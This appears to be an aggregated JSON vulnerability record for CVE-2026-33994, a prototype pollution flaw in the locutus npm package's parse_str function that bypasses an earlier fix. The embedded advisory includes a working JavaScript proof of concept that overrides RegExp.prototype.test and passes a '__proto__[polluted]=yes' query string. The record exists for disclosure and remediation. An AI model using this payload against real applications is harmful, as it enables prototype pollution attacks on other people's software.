{"id":"CVE-2026-33994","aliases":["EUVD-2026-16890","GHSA-vc8f-x9pp-wf5p"],"status":"published","title":"Locutus Prototype Pollution due to incomplete fix for CVE-2026-25521","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Starting in version 2.0.39 and prior to version 3.0.25, a prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard. This vulnerability stems from an incomplete fix for CVE-2026-25521. The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another. Version 3.0.25 contains an updated fix.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00568,"percentile":0.47356,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-03-27T17:58:48Z","modified":"2026-10-28T02:30:22Z","fixes":[{"ecosystem":"npm","package":"locutus","fixed_in":["3.0.25"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"locutus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.39"},{"fixed":"3.0.25"}]}]},{"source":"osv","ecosystem":"npm","package":"locutus","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.39"},{"fixed":"3.0.25"}]}]}],"products":[{"vendor":"locutus","product":"locutus"},{"vendor":"locutusjs","product":"locutus"}],"references":[{"url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-vc8f-x9pp-wf5p","tags":["x_refsource_CONFIRM","x_refsource_MISC","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/locutusjs/locutus/pull/597","tags":["x_refsource_MISC","Issue Tracking","fix","web"]},{"url":"https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/locutusjs/locutus/releases/tag/v3.0.25","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33994","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vc8f-x9pp-wf5p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33994.json","tags":["advisory"]},{"url":"https://github.com/locutusjs/locutus","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33994","title":"Locutus Prototype Pollution due to incomplete fix for CVE-2026-25521","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Starting in version 2.0.39 and prior to version 3.0.25, a prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard. This vulnerability stems from an incomplete fix for CVE-2026-25521. The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another. Version 3.0.25 contains an updated fix.","status":"published","published":"2026-03-27T22:15:47.131Z","modified":"2026-04-01T13:45:55.451Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-16890","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Starting in version 2.0.39 and prior to version 3.0.25, a prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard. This vulnerability stems from an incomplete fix for CVE-2026-25521. The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another. Version 3.0.25 contains an updated fix.","status":"published","published":"2026-03-27T22:15:47Z","modified":"2026-04-01T13:45:55Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:25:24.493801Z"}],"ghsa":[{"id":"GHSA-vc8f-x9pp-wf5p","title":"Locutus Prototype Pollution due to incomplete fix for CVE-2026-25521","description":"## Summary\n\nA prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard.\n\nThis vulnerability stems from an incomplete fix for [CVE-2026-25521](https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh). The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another.\n\n## Package\n\nlocutus (npm)\n\n## Affected versions\n\n\u003e= 2.0.39, \u003c= 3.0.24\n\nTested and confirmed vulnerable on **2.0.39** and **3.0.24** (latest). Version 2.0.38 (pre-fix) uses a different guard (`String.prototype.includes`) and is not affected by this specific bypass.\n\n---\n\n## Description\n\n### Details\n\nThe vulnerability resides in `parse_str.js` where the `RegExp.prototype.test()` function is used to check whether user-provided input contains forbidden keys:\n\n```javascript\nif (/__proto__|constructor|prototype/.test(key)) {\n  break\n}\n```\n\nThe previous guard (fixed in CVE-2026-25521) used `String.prototype.includes()`:\n\n```javascript\nif (key.includes('__proto__')) {\n  break\n}\n```\n\nThe CVE-2026-25521 fix correctly identified that `String.prototype.includes` can be hijacked. However, the replacement guard using `RegExp.prototype.test()` suffers from the same class of weakness — `RegExp.prototype.test` is a writable method on the prototype chain and can be overridden to always return `false`, completely disabling the guard.\n\nThe robust fix is to use direct string comparison operators (`===`) in native control flow (`for`/`if`) instead of prototype methods like `RegExp.prototype.test()`, since `===` is a language-level operator that cannot be overridden.\n\n### PoC\n\n#### Steps to reproduce\n\n1. Install locutus using `npm install locutus`\n2. Run the following code snippet:\n\n```javascript\nconst parse_str = require('locutus/php/strings/parse_str');\n\n// Hijack RegExp.prototype.test (simulates a prior prototype pollution gadget)\nconst original = RegExp.prototype.test;\nRegExp.prototype.test = function () { return false; };\n\n// Payload\nconst result = {};\nparse_str('__proto__[polluted]=yes', result);\n\n// Check\nRegExp.prototype.test = original;\nconsole.log(({}).polluted); // 'yes' — prototype is polluted\n```\n\n#### Expected behavior\n\nPrototype pollution should be prevented and `({}).polluted` should print `undefined`.\n\n```\nundefined\n```\n\n#### Actual behavior\n\n`Object.prototype` is polluted. This is printed on the console:\n\n```\nyes\n```\n\n### Impact\n\nThis is a prototype pollution vulnerability with the same impact as CVE-2026-25521. The attack requires a chaining scenario — an attacker needs a separate prototype pollution gadget (e.g., from another npm package in the same application) to override `RegExp.prototype.test` before exploiting `parse_str`. This is realistic in Node.js applications that use multiple npm packages, where one package's vulnerability can disable another package's defenses.\n\nAny application that processes attacker-controlled input using `locutus/php/strings/parse_str` may be affected. It could potentially lead to:\n\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like `eval` or `child_process`)\n\n### Resources\n\n- Original advisory: https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh\n- Fix commit (incomplete): https://github.com/locutusjs/locutus/commit/042af9ca7fde2ff599120783e720a17f335bb01c\n- Vulnerable file: https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js#L77\n\n## Maintainer response\n\nThank you for the follow-up report. This issue was reproduced locally against `locutus@3.0.24`, confirming that the earlier `parse_str` guard was incomplete: if `RegExp.prototype.test` was already compromised, the guard could be bypassed and `parse_str('__proto__[polluted]=yes', result)` could still pollute `Object.prototype`.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [locutusjs/locutus#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe new fix no longer relies on a regex-prototype guard for safety. Instead, `src/php/strings/parse_str.ts` now rejects dangerous key paths during parsed-segment assignment, so the sink itself is hardened even if `RegExp.prototype.test` has been tampered with beforehand.\n\n## Tested Repro Before the Fix\n\n- Override `RegExp.prototype.test` to always return `false`\n- Call `parse_str('__proto__[polluted]=yes', result)`\n- Observe `({}).polluted === 'yes'`\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous key paths are skipped during assignment\n- The same chained repro no longer pollutes `Object.prototype`\n- The regression is covered by `test/custom/parse_str-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`. The vulnerable range should end at `\u003c 3.0.25`.","status":"published","published":"2026-03-27T17:58:48Z","modified":"2026-03-30T20:15:19Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:46.119458Z"}],"nvd":[{"id":"CVE-2026-33994","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Starting in version 2.0.39 and prior to version 3.0.25, a prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard. This vulnerability stems from an incomplete fix for CVE-2026-25521. The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another. Version 3.0.25 contains an updated fix.","status":"published","published":"2026-03-27T23:17:14.413Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33994","title":"Locutus Prototype Pollution due to incomplete fix for CVE-2026-25521","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Starting in version 2.0.39 and prior to version 3.0.25, a prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard. This vulnerability stems from an incomplete fix for CVE-2026-25521. The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another. Version 3.0.25 contains an updated fix.","status":"published","published":"2026-03-27T22:15:47.131Z","modified":"2026-10-28T02:30:22.519776959Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-vc8f-x9pp-wf5p","title":"Locutus Prototype Pollution due to incomplete fix for CVE-2026-25521","description":"## Summary\n\nA prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard.\n\nThis vulnerability stems from an incomplete fix for [CVE-2026-25521](https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh). The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another.\n\n## Package\n\nlocutus (npm)\n\n## Affected versions\n\n\u003e= 2.0.39, \u003c= 3.0.24\n\nTested and confirmed vulnerable on **2.0.39** and **3.0.24** (latest). Version 2.0.38 (pre-fix) uses a different guard (`String.prototype.includes`) and is not affected by this specific bypass.\n\n---\n\n## Description\n\n### Details\n\nThe vulnerability resides in `parse_str.js` where the `RegExp.prototype.test()` function is used to check whether user-provided input contains forbidden keys:\n\n```javascript\nif (/__proto__|constructor|prototype/.test(key)) {\n  break\n}\n```\n\nThe previous guard (fixed in CVE-2026-25521) used `String.prototype.includes()`:\n\n```javascript\nif (key.includes('__proto__')) {\n  break\n}\n```\n\nThe CVE-2026-25521 fix correctly identified that `String.prototype.includes` can be hijacked. However, the replacement guard using `RegExp.prototype.test()` suffers from the same class of weakness — `RegExp.prototype.test` is a writable method on the prototype chain and can be overridden to always return `false`, completely disabling the guard.\n\nThe robust fix is to use direct string comparison operators (`===`) in native control flow (`for`/`if`) instead of prototype methods like `RegExp.prototype.test()`, since `===` is a language-level operator that cannot be overridden.\n\n### PoC\n\n#### Steps to reproduce\n\n1. Install locutus using `npm install locutus`\n2. Run the following code snippet:\n\n```javascript\nconst parse_str = require('locutus/php/strings/parse_str');\n\n// Hijack RegExp.prototype.test (simulates a prior prototype pollution gadget)\nconst original = RegExp.prototype.test;\nRegExp.prototype.test = function () { return false; };\n\n// Payload\nconst result = {};\nparse_str('__proto__[polluted]=yes', result);\n\n// Check\nRegExp.prototype.test = original;\nconsole.log(({}).polluted); // 'yes' — prototype is polluted\n```\n\n#### Expected behavior\n\nPrototype pollution should be prevented and `({}).polluted` should print `undefined`.\n\n```\nundefined\n```\n\n#### Actual behavior\n\n`Object.prototype` is polluted. This is printed on the console:\n\n```\nyes\n```\n\n### Impact\n\nThis is a prototype pollution vulnerability with the same impact as CVE-2026-25521. The attack requires a chaining scenario — an attacker needs a separate prototype pollution gadget (e.g., from another npm package in the same application) to override `RegExp.prototype.test` before exploiting `parse_str`. This is realistic in Node.js applications that use multiple npm packages, where one package's vulnerability can disable another package's defenses.\n\nAny application that processes attacker-controlled input using `locutus/php/strings/parse_str` may be affected. It could potentially lead to:\n\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like `eval` or `child_process`)\n\n### Resources\n\n- Original advisory: https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh\n- Fix commit (incomplete): https://github.com/locutusjs/locutus/commit/042af9ca7fde2ff599120783e720a17f335bb01c\n- Vulnerable file: https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js#L77\n\n## Maintainer response\n\nThank you for the follow-up report. This issue was reproduced locally against `locutus@3.0.24`, confirming that the earlier `parse_str` guard was incomplete: if `RegExp.prototype.test` was already compromised, the guard could be bypassed and `parse_str('__proto__[polluted]=yes', result)` could still pollute `Object.prototype`.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [locutusjs/locutus#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe new fix no longer relies on a regex-prototype guard for safety. Instead, `src/php/strings/parse_str.ts` now rejects dangerous key paths during parsed-segment assignment, so the sink itself is hardened even if `RegExp.prototype.test` has been tampered with beforehand.\n\n## Tested Repro Before the Fix\n\n- Override `RegExp.prototype.test` to always return `false`\n- Call `parse_str('__proto__[polluted]=yes', result)`\n- Observe `({}).polluted === 'yes'`\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous key paths are skipped during assignment\n- The same chained repro no longer pollutes `Object.prototype`\n- The regression is covered by `test/custom/parse_str-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`. The vulnerable range should end at `\u003c 3.0.25`.","status":"published","published":"2026-03-27T17:58:48Z","modified":"2026-03-30T20:34:57.635752Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:56.981655Z"}]}}
